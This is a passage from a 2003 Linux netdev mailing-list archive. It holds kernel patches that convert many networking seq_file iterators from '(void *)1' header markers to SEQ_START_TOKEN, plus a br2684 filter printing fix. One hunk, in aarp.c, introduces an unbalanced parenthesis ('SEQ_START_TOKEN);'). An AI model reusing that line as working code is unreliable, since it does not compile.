/`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5727 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 716 Lines: 19 Don't know if chas already fixed this.. diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Tue Sep 9 15:59:18 2003 +++ b/net/atm/br2684.c Tue Sep 9 15:59:18 2003 @@ -732,9 +732,10 @@ #ifdef CONFIG_ATM_BR2684_IPFILTER #define b1(var, byte) ((u8 *) &brvcc->filter.var)[byte] #define bs(var) b1(var, 0), b1(var, 1), b1(var, 2), b1(var, 3) - if (brvcc->filter.netmask != 0 && pos-- == 0) - return sprintf(buf, " filter=%d.%d.%d.%d/" - "%d.%d.%d.%d\n", bs(prefix), bs(netmask)); + + if (brvcc->filter.netmask != 0) + seq_printf(seq, " filter=%d.%d.%d.%d/" + "%d.%d.%d.%d\n", bs(prefix), bs(netmask)); #undef bs #undef b1 #endif /* CONFIG_ATM_BR2684_IPFILTER */ From joe@perches.com Tue Sep 9 16:06:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 16:08:04 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89N6gx4027539 for ; Tue, 9 Sep 2003 16:06:48 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id QAA26503; Tue, 9 Sep 2003 16:54:47 -0700 Subject: [PATCH] 2.6.0-test5 SEQ_START_TOKEN include/net/* [2/3] From: Joe Perches To: netdev@oss.sgi.com Cc: torvalds@osdl.org Content-Type: text/plain Message-Id: <1063148799.603.72.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Tue, 09 Sep 2003 16:06:39 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5729 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 526 Lines: 15 diff -urN linux-2.6.0-test5/include/net/rose.h SEQ_START_TOKEN_5/include/net/rose.h --- linux-2.6.0-test5/include/net/rose.h 2003-09-08 12:49:53.000000000 -0700 +++ SEQ_START_TOKEN_5/include/net/rose.h 2003-09-09 11:31:45.000000000 -0700 @@ -140,9 +140,6 @@ #define rose_sk(__sk) ((rose_cb *)(__sk)->sk_protinfo) -/* Magic value indicating first entry in /proc (ie header) */ -#define ROSE_PROC_START ((void *) 1) - /* af_rose.c */ extern ax25_address rose_callsign; extern int sysctl_rose_restart_request_timeout; From joe@perches.com Tue Sep 9 16:06:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 16:07:58 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89N6cx4027537 for ; Tue, 9 Sep 2003 16:06:48 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id QAA26499; Tue, 9 Sep 2003 16:54:42 -0700 Subject: [PATCH] 2.6.0-test5 SEQ_START_TOKEN drivers/net/* [1/3] From: Joe Perches To: netdev@oss.sgi.com, linux-hams@vger.kernel.org, paulus@samba.org, mostrows@styx.uwaterloo.ca Cc: torvalds@osdl.org Content-Type: text/plain Message-Id: <1063148794.603.70.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Tue, 09 Sep 2003 16:06:34 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5728 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 3042 Lines: 110 diff -urN linux-2.6.0-test5/drivers/net/hamradio/bpqether.c SEQ_START_TOKEN_5/drivers/net/hamradio/bpqether.c --- linux-2.6.0-test5/drivers/net/hamradio/bpqether.c 2003-09-08 12:50:03.000000000 -0700 +++ SEQ_START_TOKEN_5/drivers/net/hamradio/bpqether.c 2003-09-09 11:38:37.000000000 -0700 @@ -389,8 +389,6 @@ return buf; } -#define BPQ_PROC_START ((void *)1) - static void *bpq_seq_start(struct seq_file *seq, loff_t *pos) { int i = 1; @@ -399,7 +397,7 @@ rcu_read_lock(); if (*pos == 0) - return BPQ_PROC_START; + return SEQ_START_TOKEN; list_for_each_entry(bpqdev, &bpq_devices, bpq_list) { if (i == *pos) @@ -414,7 +412,7 @@ ++*pos; - if (v == BPQ_PROC_START) + if (v == SEQ_START_TOKEN) p = bpq_devices.next; else p = ((struct bpqdev *)v)->bpq_list.next; @@ -431,7 +429,7 @@ static int bpq_seq_show(struct seq_file *seq, void *v) { - if (v == BPQ_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "dev ether destination accept from\n"); else { diff -urN linux-2.6.0-test5/drivers/net/pppoe.c SEQ_START_TOKEN_5/drivers/net/pppoe.c --- linux-2.6.0-test5/drivers/net/pppoe.c 2003-09-08 12:50:08.000000000 -0700 +++ SEQ_START_TOKEN_5/drivers/net/pppoe.c 2003-09-08 18:35:35.000000000 -0700 @@ -986,7 +986,7 @@ struct pppox_opt *po; char *dev_name; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Id Address Device\n"); goto out; } @@ -1025,7 +1025,7 @@ loff_t l = *pos; read_lock_bh(&pppoe_hash_lock); - return l ? pppoe_get_idx(--l) : (void *)1; + return l ? pppoe_get_idx(--l) : SEQ_START_TOKEN; } static void *pppoe_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1033,7 +1033,7 @@ struct pppox_opt *po; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { po = pppoe_get_idx(0); goto out; } diff -urN linux-2.6.0-test5/drivers/net/wireless/strip.c SEQ_START_TOKEN_5/drivers/net/wireless/strip.c --- linux-2.6.0-test5/drivers/net/wireless/strip.c 2003-09-08 12:50:17.000000000 -0700 +++ SEQ_START_TOKEN_5/drivers/net/wireless/strip.c 2003-09-09 11:39:31.000000000 -0700 @@ -965,8 +965,6 @@ return (buffer); } -#define STRIP_PROC_HEADER ((void *)1) - /* get Nth element of the linked list */ static struct strip *strip_get_idx(loff_t pos) { @@ -984,7 +982,7 @@ static void *strip_seq_start(struct seq_file *seq, loff_t *pos) { rcu_read_lock(); - return *pos ? strip_get_idx(*pos - 1) : STRIP_PROC_HEADER; + return *pos ? strip_get_idx(*pos - 1) : SEQ_START_TOKEN; } static void *strip_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -993,7 +991,7 @@ struct strip *s; ++*pos; - if (v == STRIP_PROC_HEADER) + if (v == SEQ_START_TOKEN) return strip_get_idx(1); s = v; @@ -1149,7 +1147,7 @@ */ static int strip_seq_show(struct seq_file *seq, void *v) { - if (v == STRIP_PROC_HEADER) + if (v == SEQ_START_TOKEN) seq_printf(seq, "strip_version: %s\n", StripVersion); else strip_seq_status_info(seq, (const struct strip *)v); From joe@perches.com Tue Sep 9 16:06:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 16:08:05 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89N6lx4027543 for ; Tue, 9 Sep 2003 16:06:48 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id QAA26507; Tue, 9 Sep 2003 16:54:51 -0700 Subject: [PATCH] 2.6.0-test5 SEQ_START_TOKEN include/net/* [3/3] From: Joe Perches To: netdev@oss.sgi.com Cc: torvalds@osdl.org Content-Type: text/plain Message-Id: <1063148803.717.74.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Tue, 09 Sep 2003 16:06:43 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5730 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 40700 Lines: 1396 diff -urN linux-2.6.0-test5/net/802/tr.c SEQ_START_TOKEN_5/net/802/tr.c --- linux-2.6.0-test5/net/802/tr.c 2003-09-08 12:49:52.000000000 -0700 +++ SEQ_START_TOKEN_5/net/802/tr.c 2003-09-09 11:23:09.000000000 -0700 @@ -464,8 +464,6 @@ */ #ifdef CONFIG_PROC_FS -/* Magic token to indicate first entry (header line) */ -#define RIF_PROC_START ((void *)1) static struct rif_cache_s *rif_get_idx(loff_t pos) { @@ -487,7 +485,7 @@ { spin_lock_bh(&rif_lock); - return *pos ? rif_get_idx(*pos - 1) : RIF_PROC_START; + return *pos ? rif_get_idx(*pos - 1) : SEQ_START_TOKEN; } static void *rif_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -497,7 +495,7 @@ ++*pos; - if (v == RIF_PROC_START) { + if (v == SEQ_START_TOKEN) { i = -1; goto scan; } @@ -524,7 +522,7 @@ int j, rcf_len, segment, brdgnmb; struct rif_cache_s *entry = v; - if (v == RIF_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "if TR address TTL rcf routing segments\n"); else { diff -urN linux-2.6.0-test5/net/8021q/vlanproc.c SEQ_START_TOKEN_5/net/8021q/vlanproc.c --- linux-2.6.0-test5/net/8021q/vlanproc.c 2003-09-08 12:50:01.000000000 -0700 +++ SEQ_START_TOKEN_5/net/8021q/vlanproc.c 2003-09-08 18:35:35.000000000 -0700 @@ -46,10 +46,6 @@ static void vlan_seq_stop(struct seq_file *seq, void *); static int vlandev_seq_show(struct seq_file *seq, void *v); -/* Miscellaneous */ -#define SEQ_START_TOKEN ((void *) 1) - - /* * Global Data */ diff -urN linux-2.6.0-test5/net/appletalk/aarp.c SEQ_START_TOKEN_5/net/appletalk/aarp.c --- linux-2.6.0-test5/net/appletalk/aarp.c 2003-09-08 12:50:32.000000000 -0700 +++ SEQ_START_TOKEN_5/net/appletalk/aarp.c 2003-09-08 18:35:35.000000000 -0700 @@ -941,7 +941,7 @@ iter->table = resolved; iter->bucket = 0; - return *pos ? iter_next(iter, pos) : ((void *)1); + return *pos ? iter_next(iter, pos) : SEQ_START_TOKEN); } static void *aarp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -952,7 +952,7 @@ ++*pos; /* first line after header */ - if (v == ((void *)1)) + if (v == SEQ_START_TOKEN) entry = iter_next(iter, NULL); /* next entry in current bucket */ @@ -987,7 +987,7 @@ struct aarp_entry *entry = v; unsigned long now = jiffies; - if (v == ((void *)1)) + if (v == SEQ_START_TOKEN) seq_puts(seq, "Address Interface Hardware Address" " Expires LastSend Retry Status\n"); diff -urN linux-2.6.0-test5/net/appletalk/atalk_proc.c SEQ_START_TOKEN_5/net/appletalk/atalk_proc.c --- linux-2.6.0-test5/net/appletalk/atalk_proc.c 2003-09-08 12:50:23.000000000 -0700 +++ SEQ_START_TOKEN_5/net/appletalk/atalk_proc.c 2003-09-08 18:35:35.000000000 -0700 @@ -33,7 +33,7 @@ loff_t l = *pos; read_lock_bh(&atalk_interfaces_lock); - return l ? atalk_get_interface_idx(--l) : (void *)1; + return l ? atalk_get_interface_idx(--l) : SEQ_START_TOKEN; } static void *atalk_seq_interface_next(struct seq_file *seq, void *v, loff_t *pos) @@ -41,7 +41,7 @@ struct atalk_iface *i; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { i = NULL; if (atalk_interfaces) i = atalk_interfaces; @@ -62,7 +62,7 @@ { struct atalk_iface *iface; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Interface Address Networks " "Status\n"); goto out; @@ -92,7 +92,7 @@ loff_t l = *pos; read_lock_bh(&atalk_routes_lock); - return l ? atalk_get_route_idx(--l) : (void *)1; + return l ? atalk_get_route_idx(--l) : SEQ_START_TOKEN; } static void *atalk_seq_route_next(struct seq_file *seq, void *v, loff_t *pos) @@ -100,7 +100,7 @@ struct atalk_route *r; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { r = NULL; if (atalk_routes) r = atalk_routes; @@ -121,7 +121,7 @@ { struct atalk_route *rt; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Target Router Flags Dev\n"); goto out; } @@ -160,7 +160,7 @@ loff_t l = *pos; read_lock_bh(&atalk_sockets_lock); - return l ? atalk_get_socket_idx(--l) : (void *)1; + return l ? atalk_get_socket_idx(--l) : SEQ_START_TOKEN; } static void *atalk_seq_socket_next(struct seq_file *seq, void *v, loff_t *pos) @@ -168,7 +168,7 @@ struct sock *i; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { i = sk_head(&atalk_sockets); goto out; } @@ -187,7 +187,7 @@ struct sock *s; struct atalk_sock *at; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "Type Local_addr Remote_addr Tx_queue " "Rx_queue St UID\n"); goto out; diff -urN linux-2.6.0-test5/net/ax25/ax25_route.c SEQ_START_TOKEN_5/net/ax25/ax25_route.c --- linux-2.6.0-test5/net/ax25/ax25_route.c 2003-09-08 12:50:16.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ax25/ax25_route.c 2003-09-09 11:23:57.000000000 -0700 @@ -281,8 +281,6 @@ #ifdef CONFIG_PROC_FS -#define AX25_PROC_START ((void *)1) - static void *ax25_rt_seq_start(struct seq_file *seq, loff_t *pos) { struct ax25_route *ax25_rt; @@ -290,7 +288,7 @@ read_lock(&ax25_route_lock); if (*pos == 0) - return AX25_PROC_START; + return SEQ_START_TOKEN; for (ax25_rt = ax25_route_list; ax25_rt != NULL; ax25_rt = ax25_rt->next) { if (i == *pos) @@ -304,7 +302,7 @@ static void *ax25_rt_seq_next(struct seq_file *seq, void *v, loff_t *pos) { ++*pos; - return (v == AX25_PROC_START) ? ax25_route_list : + return (v == SEQ_START_TOKEN) ? ax25_route_list : ((struct ax25_route *) v)->next; } @@ -315,7 +313,7 @@ static int ax25_rt_seq_show(struct seq_file *seq, void *v) { - if (v == AX25_PROC_START) + if (v == SEQ_START_TOKEN) seq_puts(seq, "callsign dev mode digipeaters\n"); else { struct ax25_route *ax25_rt = v; diff -urN linux-2.6.0-test5/net/ax25/ax25_uid.c SEQ_START_TOKEN_5/net/ax25/ax25_uid.c --- linux-2.6.0-test5/net/ax25/ax25_uid.c 2003-09-08 12:49:57.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ax25/ax25_uid.c 2003-09-09 11:23:07.000000000 -0700 @@ -144,8 +144,6 @@ #ifdef CONFIG_PROC_FS -#define AX25_PROC_START ((void *)1) - static void *ax25_uid_seq_start(struct seq_file *seq, loff_t *pos) { struct ax25_uid_assoc *pt; @@ -153,7 +151,7 @@ read_lock(&ax25_uid_lock); if (*pos == 0) - return AX25_PROC_START; + return SEQ_START_TOKEN; for (pt = ax25_uid_list; pt != NULL; pt = pt->next) { if (i == *pos) @@ -166,7 +164,7 @@ static void *ax25_uid_seq_next(struct seq_file *seq, void *v, loff_t *pos) { ++*pos; - return (v == AX25_PROC_START) ? ax25_uid_list : + return (v == SEQ_START_TOKEN) ? ax25_uid_list : ((struct ax25_uid_assoc *) v)->next; } @@ -177,7 +175,7 @@ static int ax25_uid_seq_show(struct seq_file *seq, void *v) { - if (v == AX25_PROC_START) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Policy: %d\n", ax25_uid_policy); else { struct ax25_uid_assoc *pt = v; diff -urN linux-2.6.0-test5/net/core/dev.c SEQ_START_TOKEN_5/net/core/dev.c --- linux-2.6.0-test5/net/core/dev.c 2003-09-08 12:50:06.000000000 -0700 +++ SEQ_START_TOKEN_5/net/core/dev.c 2003-09-08 18:35:35.000000000 -0700 @@ -1840,13 +1840,13 @@ void *dev_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? dev_get_idx(*pos - 1) : (void *)1; + return *pos ? dev_get_idx(*pos - 1) : SEQ_START_TOKEN; } void *dev_seq_next(struct seq_file *seq, void *v, loff_t *pos) { ++*pos; - return v == (void *)1 ? dev_base : ((struct net_device *)v)->next; + return v == SEQ_START_TOKEN ? dev_base : ((struct net_device *)v)->next; } void dev_seq_stop(struct seq_file *seq, void *v) @@ -1886,7 +1886,7 @@ */ static int dev_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "Inter-| Receive " " | Transmit\n" " face |bytes packets errs drop fifo frame " diff -urN linux-2.6.0-test5/net/core/wireless.c SEQ_START_TOKEN_5/net/core/wireless.c --- linux-2.6.0-test5/net/core/wireless.c 2003-09-08 12:50:21.000000000 -0700 +++ SEQ_START_TOKEN_5/net/core/wireless.c 2003-09-08 18:35:35.000000000 -0700 @@ -458,7 +458,7 @@ */ static int wireless_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Inter-| sta-| Quality | Discarded " "packets | Missed | WE\n" " face | tus | link level noise | nwid " diff -urN linux-2.6.0-test5/net/decnet/af_decnet.c SEQ_START_TOKEN_5/net/decnet/af_decnet.c --- linux-2.6.0-test5/net/decnet/af_decnet.c 2003-09-08 12:50:06.000000000 -0700 +++ SEQ_START_TOKEN_5/net/decnet/af_decnet.c 2003-09-08 18:35:35.000000000 -0700 @@ -2146,14 +2146,14 @@ static void *dn_socket_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? dn_socket_get_idx(seq, *pos - 1) : (void*)1; + return *pos ? dn_socket_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *dn_socket_seq_next(struct seq_file *seq, void *v, loff_t *pos) { void *rc; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { rc = dn_socket_get_idx(seq, 0); goto out; } @@ -2169,7 +2169,7 @@ static void dn_socket_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void*)1) + if (v && v != SEQ_START_TOKEN) read_unlock_bh(&dn_hash_lock); } @@ -2269,7 +2269,7 @@ static int dn_socket_seq_show(struct seq_file *seq, void *v) { - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Local Remote\n"); } else { dn_socket_format_entry(seq, v); diff -urN linux-2.6.0-test5/net/decnet/dn_dev.c SEQ_START_TOKEN_5/net/decnet/dn_dev.c --- linux-2.6.0-test5/net/decnet/dn_dev.c 2003-09-08 12:50:01.000000000 -0700 +++ SEQ_START_TOKEN_5/net/decnet/dn_dev.c 2003-09-08 18:35:35.000000000 -0700 @@ -1365,7 +1365,7 @@ read_unlock(&dev_base_lock); return dev; } - return (void*)1; + return SEQ_START_TOKEN; } static void *dn_dev_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1373,7 +1373,7 @@ struct net_device *dev = v; loff_t one = 1; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { dev = dn_dev_seq_start(seq, &one); } else { dev = dn_dev_get_next(seq, dev); @@ -1386,7 +1386,7 @@ static void dn_dev_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void*)1) + if (v && v != SEQ_START_TOKEN) read_unlock(&dev_base_lock); } @@ -1406,7 +1406,7 @@ static int dn_dev_seq_show(struct seq_file *seq, void *v) { - if (v == (void*)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "Name Flags T1 Timer1 T3 Timer3 BlkSize Pri State DevType Router Peer\n"); else { struct net_device *dev = v; diff -urN linux-2.6.0-test5/net/decnet/dn_neigh.c SEQ_START_TOKEN_5/net/decnet/dn_neigh.c --- linux-2.6.0-test5/net/decnet/dn_neigh.c 2003-09-08 12:50:16.000000000 -0700 +++ SEQ_START_TOKEN_5/net/decnet/dn_neigh.c 2003-09-08 18:35:35.000000000 -0700 @@ -604,7 +604,7 @@ static void *dn_neigh_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? dn_neigh_get_idx(seq, *pos - 1) : (void*)1; + return *pos ? dn_neigh_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *dn_neigh_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -612,7 +612,7 @@ void *rc; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { rc = dn_neigh_get_idx(seq, 0); goto out; } @@ -628,7 +628,7 @@ static void dn_neigh_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void*)1) + if (v && v != SEQ_START_TOKEN) read_unlock_bh(&dn_neigh_table.lock); } @@ -653,7 +653,7 @@ static int dn_neigh_seq_show(struct seq_file *seq, void *v) { - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Addr Flags State Use Blksize Dev\n"); } else { dn_neigh_format_entry(seq, v); diff -urN linux-2.6.0-test5/net/ipv4/arp.c SEQ_START_TOKEN_5/net/ipv4/arp.c --- linux-2.6.0-test5/net/ipv4/arp.c 2003-09-08 12:50:22.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/arp.c 2003-09-08 18:35:35.000000000 -0700 @@ -1275,7 +1275,7 @@ static void *arp_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? arp_get_idx(seq, *pos - 1) : (void *)1; + return *pos ? arp_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *arp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1283,7 +1283,7 @@ void *rc; struct arp_iter_state* state; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { rc = arp_get_idx(seq, 0); goto out; } @@ -1306,7 +1306,7 @@ { struct arp_iter_state* state = seq->private; - if (!state->is_pneigh && v != (void *)1) + if (!state->is_pneigh && v != SEQ_START_TOKEN) read_unlock_bh(&arp_tbl.lock); } @@ -1359,7 +1359,7 @@ static int arp_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "IP address HW type Flags " "HW address Mask Device\n"); else { diff -urN linux-2.6.0-test5/net/ipv4/fib_hash.c SEQ_START_TOKEN_5/net/ipv4/fib_hash.c --- linux-2.6.0-test5/net/ipv4/fib_hash.c 2003-09-08 12:50:04.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/fib_hash.c 2003-09-08 18:35:35.000000000 -0700 @@ -979,14 +979,14 @@ read_lock(&fib_hash_lock); if (ip_fib_main_table) - v = *pos ? fib_get_next(seq) : (void *)1; + v = *pos ? fib_get_next(seq) : SEQ_START_TOKEN; return v; } static void *fib_seq_next(struct seq_file *seq, void *v, loff_t *pos) { ++*pos; - return v == (void *)1 ? fib_get_first(seq) : fib_get_next(seq); + return v == SEQ_START_TOKEN ? fib_get_first(seq) : fib_get_next(seq); } static void fib_seq_stop(struct seq_file *seq, void *v) @@ -1025,7 +1025,7 @@ struct fib_node *f; struct fib_info *fi; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%-127s\n", "Iface\tDestination\tGateway " "\tFlags\tRefCnt\tUse\tMetric\tMask\t\tMTU" "\tWindow\tIRTT"); diff -urN linux-2.6.0-test5/net/ipv4/igmp.c SEQ_START_TOKEN_5/net/ipv4/igmp.c --- linux-2.6.0-test5/net/ipv4/igmp.c 2003-09-08 12:50:40.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/igmp.c 2003-09-08 18:35:35.000000000 -0700 @@ -2162,13 +2162,13 @@ static void *igmp_mc_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mc_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp_mc_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *igmp_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip_mc_list *im; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) im = igmp_mc_get_first(seq); else im = igmp_mc_get_next(seq, v); @@ -2190,7 +2190,7 @@ static int igmp_mc_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Idx\tDevice : Count Querier\tGroup Users Timer\tReporter\n"); else { @@ -2337,13 +2337,13 @@ static void *igmp_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mcf_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp_mcf_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *igmp_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip_sf_list *psf; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) psf = igmp_mcf_get_first(seq); else psf = igmp_mcf_get_next(seq, v); @@ -2372,7 +2372,7 @@ struct ip_sf_list *psf = (struct ip_sf_list *)v; struct igmp_mcf_iter_state *state = igmp_mcf_seq_private(seq); - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%3s %6s " "%10s %10s %6s %6s\n", "Idx", diff -urN linux-2.6.0-test5/net/ipv4/raw.c SEQ_START_TOKEN_5/net/ipv4/raw.c --- linux-2.6.0-test5/net/ipv4/raw.c 2003-09-08 12:50:07.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/raw.c 2003-09-08 18:35:35.000000000 -0700 @@ -736,14 +736,14 @@ static void *raw_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v4_lock); - return *pos ? raw_get_idx(seq, *pos) : (void *)1; + return *pos ? raw_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *raw_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct sock *sk; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) sk = raw_get_first(seq); else sk = raw_get_next(seq, v); @@ -778,7 +778,7 @@ { char tmpbuf[129]; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "%-127s\n", " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " diff -urN linux-2.6.0-test5/net/ipv4/route.c SEQ_START_TOKEN_5/net/ipv4/route.c --- linux-2.6.0-test5/net/ipv4/route.c 2003-09-08 12:50:41.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/route.c 2003-09-08 18:35:35.000000000 -0700 @@ -259,14 +259,14 @@ static void *rt_cache_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? rt_cache_get_idx(seq, *pos) : (void *)1; + return *pos ? rt_cache_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *rt_cache_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct rtable *r = NULL; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) r = rt_cache_get_first(seq); else r = rt_cache_get_next(seq, v); @@ -276,13 +276,13 @@ static void rt_cache_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void *)1) + if (v && v != SEQ_START_TOKEN) rcu_read_unlock(); } static int rt_cache_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "%-127s\n", "Iface\tDestination\tGateway \tFlags\t\tRefCnt\tUse\t" "Metric\tSource\t\tMTU\tWindow\tIRTT\tTOS\tHHRef\t" diff -urN linux-2.6.0-test5/net/ipv4/tcp_ipv4.c SEQ_START_TOKEN_5/net/ipv4/tcp_ipv4.c --- linux-2.6.0-test5/net/ipv4/tcp_ipv4.c 2003-09-08 12:50:01.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/tcp_ipv4.c 2003-09-08 18:35:35.000000000 -0700 @@ -2351,7 +2351,7 @@ static void *tcp_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? tcp_get_idx(seq, *pos - 1) : (void *)1; + return *pos ? tcp_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *tcp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -2359,7 +2359,7 @@ void *rc = NULL; struct tcp_iter_state* st; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { rc = tcp_get_idx(seq, 0); goto out; } @@ -2397,7 +2397,7 @@ read_unlock_bh(&tp->syn_wait_lock); } case TCP_SEQ_STATE_LISTENING: - if (v != (void *)1) + if (v != SEQ_START_TOKEN) tcp_listen_unlock(); break; case TCP_SEQ_STATE_TIME_WAIT: @@ -2559,7 +2559,7 @@ struct tcp_iter_state* st; char tmpbuf[TMPSZ + 1]; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%-*s\n", TMPSZ - 1, " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " diff -urN linux-2.6.0-test5/net/ipv4/udp.c SEQ_START_TOKEN_5/net/ipv4/udp.c --- linux-2.6.0-test5/net/ipv4/udp.c 2003-09-08 12:49:54.000000000 -0700 +++ SEQ_START_TOKEN_5/net/ipv4/udp.c 2003-09-08 18:35:35.000000000 -0700 @@ -1497,7 +1497,7 @@ static int udp4_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "%-127s\n", " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " diff -urN linux-2.6.0-test5/net/ipv6/addrconf.c SEQ_START_TOKEN_5/net/ipv6/addrconf.c --- 